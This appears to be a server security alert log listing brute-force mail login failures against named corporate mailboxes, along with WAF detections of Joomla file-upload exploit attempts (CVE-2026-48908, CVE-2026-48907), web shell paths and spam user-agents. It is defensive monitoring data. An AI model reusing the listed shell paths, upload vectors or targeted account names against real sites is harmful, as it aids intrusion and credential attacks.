2026-07-06 06:20:50 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([211.62.73.218]) [80.223.163.253]:42168: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-06 06:21:41 dovecot_login authenticator failed for H=([102.210.149.18]) [59.12.212.38]:43652: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 103.119.154.58
country_id: 1831722
domain: ddgalaxy.in
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:custom_icon||MV:icouwmzzd.zip||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 36.37.165.235
country_id: 1831722
domain: ddgalaxy.in
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:custom_icon||MV:icogzpqpw.zip||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 103.119.154.58
country_id: 1831722
domain: ddgalaxy.in
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:custom_icon||MV:icohassii.zip||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 36.37.165.235
country_id: 1831722
domain: ddgalaxy.in
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:custom_icon||MV:icopnezkb.zip||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-06 06:25:23 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi (221-120-78-177.emome-ip.hinet.net) [80.223.163.253]:34276: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-06 06:25:44 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca (ip-104-200-152-25.hosts.zerolag.com) [24.207.66.154]:44826: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.77.223.36
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://meneercasino.com/online-casino-tips/live-casino\">viagra side effects for male</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.132.225.130
country_id: 2077456
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:73528.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6963ac1e13cadaf9492a46f9fa73f68b70d58b1e||Title:0x91457d3c||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77264624
name: IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)
abuser: 51.68.171.141
country_id: 3017382
domain: ddgalaxy.in
description:
IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)||MV:/assets/images/accesson.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 133.232.78.150
country_id: 1861060
description:
2026-07-06 06:33:22 dovecot_login authenticator failed for H=133.232.78.150.static.zoot.jp ([114.104.153.51]) [133.232.78.150]:29178: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-06 06:34:10 dovecot_login authenticator failed for H=([120.224.15.67]) [94.16.17.139]:54740: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.149
country_id: 2186224
description:
2026-07-06 06:34:18 dovecot_login authenticator failed for H=([183.171.236.113]) [121.73.169.149]:38776: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.74.34.30
country_id: 630336
description:
2026-07-06 06:33:38 dovecot_login authenticator failed for H=([118.98.90.22]) [77.74.34.30]:55635: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-06 06:33:41 dovecot_login authenticator failed for H=([112.6.127.244]) [172.191.74.151]:56618: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-06 06:34:36 dovecot_login authenticator failed for H=([70.166.167.37]) [219.248.4.146]:53162: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.197.12.104
country_id: 1835841
description:
2026-07-06 06:34:48 dovecot_login authenticator failed for H=(119.92.76.214.static.pldt.net) [211.197.12.104]:47588: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-06 06:35:57 dovecot_login authenticator failed for H=([49.124.145.56]) [50.212.27.150]:46092: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-06 06:36:14 dovecot_login authenticator failed for H=([49.124.155.175]) [121.128.84.224]:50476: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.198.221.50
country_id: 6252001
description:
2026-07-06 06:38:23 dovecot_login authenticator failed for H=([115.241.65.249]) [66.198.221.50]:60979: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-06 06:38:39 dovecot_login authenticator failed for H=(syn-024-142-170-231.biz.spectrum.com) [101.13.6.86]:50786: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.65.96.14
country_id: 1835841
description:
2026-07-06 06:39:32 dovecot_login authenticator failed for H=([196.191.151.172]) [58.65.96.14]:47384: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.200.249.128
country_id: 2077456
description:
2026-07-06 06:39:59 dovecot_login authenticator failed for H=14-200-249-128.tpgi.com.au ([2.197.114.21]) [14.200.249.128]:58280: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-06 06:40:11 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([87.225.108.138]) [65.73.230.102]:33738: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.123.0.90
country_id: 3437598
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/company-profile/11-csr HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.89.199.82
country_id: 6252001
description:
2026-07-06 06:42:40 dovecot_login authenticator failed for H=([98.181.137.75]) [76.89.199.82]:60328: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.66.211
country_id: 1512440
description:
2026-07-06 06:42:59 dovecot_login authenticator failed for H=([24.249.199.9]) [213.230.66.211]:44310: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-06 06:43:22 dovecot_login authenticator failed for H=([152.52.239.169]) [218.159.144.187]:48287: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.93
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://clipxvk.com/catalog/vids-xxx/\">\xe0\xb8\xab\xe0\xb8\xb5\xe0\xb8\xab\xe0\xb8\xb5\xe0\xb8\xab\xe0\xb8\xb5</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-06 06:49:20 dovecot_login authenticator failed for H=([49.124.152.25]) [122.186.249.6]:33814: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.223.212.176
country_id: 6252001
description:
2026-07-06 06:51:23 dovecot_login authenticator failed for H=([49.124.148.187]) [47.223.212.176]:58280: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.153
country_id: 1733045
description:
2026-07-06 06:55:15 dovecot_login authenticator failed for H=([174.75.211.217]) [49.124.152.153]:46640: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.119.147
country_id: 1269750
description:
2026-07-06 06:55:27 dovecot_login authenticator failed for H=([154.146.240.123]) [117.254.119.147]:45742: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.58.232.202
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-06 06:57:24 dovecot_login authenticator failed for H=(abts-ap-dynamic-093.207.169.122.airtelbroadband.in) [121.131.220.152]:59230: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.155
country_id: 1835841
description:
2026-07-06 06:57:54 dovecot_login authenticator failed for H=([68.71.243.10]) [121.131.220.155]:46012: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-06 06:58:11 dovecot_login authenticator failed for H=([190.197.31.229]) [197.157.252.162]:32949: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 132.251.234.110
country_id: 3923057
description:
2026-07-06 06:58:30 dovecot_login authenticator failed for H=host-132-251-234-110.supernet.com.bo ([192.111.134.12]) [132.251.234.110]:17002: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-06 06:59:53 dovecot_login authenticator failed for H=([116.171.27.248]) [125.19.182.118]:52504: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-06 07:00:41 dovecot_login authenticator failed for H=([203.252.10.5]) [182.95.230.74]:38746: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-06 07:03:16 dovecot_login authenticator failed for H=([61.149.15.47]) [197.219.228.242]:33646: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-06 07:02:43 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [112.161.42.97]:47761: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.16.50.80
country_id: 3437598
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-av-solutions HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.236
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 \xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb8\x94; <a href=\"http://clipxvk.com/video/\">http://clipxvk.com</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-06 07:13:58 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net (139-216-6-17.sta.dodo.net.au) [67.85.146.216]:39407: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-06 07:14:41 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp ([222.120.176.6]) [218.219.193.151]:33000: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-06 07:14:59 dovecot_login authenticator failed for H=([174.77.111.220]) [203.192.211.180]:48106: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.92.20.249
country_id: 3625428
domain: combinations.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/combinations.in/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.110.239.156
country_id: 1269750
description:
2026-07-06 07:17:33 dovecot_plain authenticator failed for H=(sycle) [103.110.239.156]:2033: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.192.62
country_id: 1733045
description:
2026-07-06 07:17:52 dovecot_login authenticator failed for H=(abts-north-static-104.21.176.122.airtelbroadband.in) [51.162.192.62]:60528: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-06 07:18:10 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net ([50.217.255.171]) [71.235.27.139]:33782: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-06 07:19:19 dovecot_login authenticator failed for H=(223-197-153-143.static.imsbiz.com) [15.218.135.58]:49337: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-06 07:19:55 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [143.202.162.196]:39842: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.246.243.5
country_id: 1522867
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/contact-us HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-06 07:20:31 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([111.26.167.37]) [83.208.70.70]:49446: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-06 07:20:55 dovecot_login authenticator failed for H=([68.71.247.133]) [65.20.237.191]:40054: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.73.4.144
country_id: 953987
description:
2026-07-06 07:21:35 dovecot_login authenticator failed for H=([83.226.56.106]) [154.73.4.144]:57325: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.219.114.92
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/news HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.171.98
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/tx-nr696-7-2-channel-network-a-v-receiver?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-06 07:30:23 dovecot_login authenticator failed for H=([61.185.30.170]) [219.248.4.146]:44062: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-06 07:33:00 dovecot_login authenticator failed for H=([39.164.91.67]) [106.201.237.208]:45472: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.73.4.144
country_id: 953987
description:
2026-07-06 07:32:46 dovecot_login authenticator failed for H=([83.226.56.106]) [154.73.4.144]:34582: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.190.201.155
country_id: 6252001
description:
2026-07-06 07:34:17 dovecot_login authenticator failed for H=syn-108-190-201-155.biz.spectrum.com ([118.145.164.82]) [108.190.201.155]:40083: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.25.159.170
country_id: 2661886
description:
2026-07-06 07:34:30 dovecot_login authenticator failed for H=81-25-159-170.junet.se ([182.78.199.185]) [81.25.159.170]:53714: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.191.175
country_id: 1562822
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/11/01/company-launches-new-software-channel/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-06 07:36:14 dovecot_login authenticator failed for H=([14.32.231.200]) [65.20.205.197]:46770: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.150
country_id: 1835841
description:
2026-07-06 07:37:14 dovecot_login authenticator failed for H=([101.13.5.50]) [121.131.220.150]:50303: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-06 07:36:31 dovecot_login authenticator failed for H=([116.72.9.151]) [182.73.109.194]:52728: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-06 07:36:35 dovecot_login authenticator failed for H=([58.56.128.190]) [213.154.80.51]:48979: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.57
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb9\x88 (<a href=\"http://clipxvk.com/video-tag/fujichan/\">http://clipxvk.com/video-tag/fujichan/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-06 07:36:50 dovecot_login authenticator failed for H=([218.201.226.254]) [175.213.137.209]:55796: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-07-06 07:37:00 dovecot_login authenticator failed for H=(186-201-12-209.customer.tdatabrasil.net.br) [59.16.192.32]:47282: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-06 07:38:08 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([183.171.57.72]) [85.29.246.199]:44101: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.208.190
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/home/stcinemas/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-06 07:41:29 dovecot_login authenticator failed for H=([197.219.208.58]) [188.122.37.97]:33990: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.149.148
country_id: 1269750
description:
2026-07-06 07:41:41 dovecot_login authenticator failed for H=([182.73.109.194]) [103.250.149.148]:43780: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77469916
abuser: 118.174.211.10
country_id: 1605651
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:error.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-06 07:50:41 dovecot_login authenticator failed for H=([223.85.54.40]) [93.95.241.150]:55232: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-06 07:51:24 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([72.205.0.69]) [78.67.161.64]:55364: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.244
country_id: 99237
description:
2026-07-06 07:52:07 dovecot_login authenticator failed for H=([182.79.218.101]) [65.20.250.244]:33473: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 182.77.62.24
country_id: 1269750
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.92.165.237
country_id: 1643084
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:29103.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:728a953a0eb8d98769ca7b4e9a65c1d705187de4||Title:0xe77d2653||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-06 07:58:32 dovecot_login authenticator failed for H=([103.130.207.227]) [182.95.123.50]:54226: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.203.150.238
country_id: 3996063
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/our-services/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.104.107
country_id: 1269750
description:
2026-07-06 08:03:59 dovecot_login authenticator failed for H=([103.171.55.242]) [117.254.104.107]:48835: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-06 08:04:14 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net (46-10-56-170.ip.btc-net.bg) [221.120.57.125]:55282: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77469916
abuser: 175.100.59.131
country_id: 1831722
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcemla7e2df.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-06 08:27:39 dovecot_plain authenticator failed for H=(beceralt) [182.95.176.122]:54980: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-06 08:34:22 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com (ip-199-102-107-147.hosts.zerolag.com) [82.209.148.60]:42268: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.158.102.251
country_id: 1694008
description:
2026-07-06 08:34:31 dovecot_plain authenticator failed for H=(localhost) [136.158.102.251]:35823: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 138.186.139.85
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://Solo.to/kingslot96\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.135
country_id: 1835841
description:
2026-07-06 08:50:07 dovecot_login authenticator failed for H=([104.200.135.42]) [121.131.220.135]:58071: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 45.204.8.167
country_id: 241170
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoimyvvt/fonts/filefuns.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-06 08:51:28 dovecot_login authenticator failed for H=(visaotur.sdr.gvt.net.br) [27.72.46.152]:52428: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.97.172
country_id: 3865483
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/author/admin/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77316794
name: IM360 WAF: Block request to known infected file
abuser: 45.227.253.15
country_id: 3703430
domain: idealloanz.com.au
description:
IM360 WAF: Block request to known infected file||RSV:8.25||T:APACHE||MVN:REQUEST_COOKIES:73||MV:decode||Tracked:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.247.89.210
country_id: 953987
description:
